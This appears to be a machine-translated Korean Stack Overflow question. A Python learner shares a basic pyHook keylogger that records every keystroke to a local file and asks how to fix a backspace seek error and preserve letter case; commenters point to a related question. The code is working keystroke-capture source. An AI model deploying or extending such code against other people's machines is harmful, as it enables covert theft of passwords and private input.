저는 현재 파이썬을 배우면서 유튜브에 간단한 파이썬 키로거를 만드는 방법을 보여주는 흥미로운 비디오를 발견했습니다. 나는 그것을 약간 수정하고 사용자가 backspace를 누를 때 마지막 문자를 삭제할 수 있도록하기 위해 seek 문과 truncate 메서드를 사용하여 if 문을 추가했습니다.백 스페이스 키 (파이썬)를 누를 때 Keylogger에서 오류가 발생합니다.
import pyHook, pythoncom, os
file_log = "D:/Python Projects/log.txt"
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open(file_log, "a") as fl:
if event.Ascii == 13:
fl.write("\n")
elif event.Ascii == 8:
fl.seek(-1, os.SEEK_END)
fl.truncate()
else:
fl.write(keylog)
fl.close()
return True
hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()
그러나 나는 코드를 실행하려고하면 백 스페이스 키를 나는 다음과 같은 오류가 눌렀을 때 :
는io.UnsupportedOperation: can't do nonzero end-relative seeks
그래서, 사람이 좀 도와 줄래? 또한 키로거는 모든 문자를 대문자로 저장합니다. 문자가 낮은 문자인지 아니면 높은 문자인지를 인식하고 그 방식으로 저장하도록 스크립트를 수정하는 방법이 있습니까?
[이 다른 질문] (https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)에 설명 된 문제가 발생한 것 같습니다. –
당신은'keylog' 변수를 전역 변수로 만들어서는 안됩니다. 이럴 이유가 없습니다. – blubberdiblub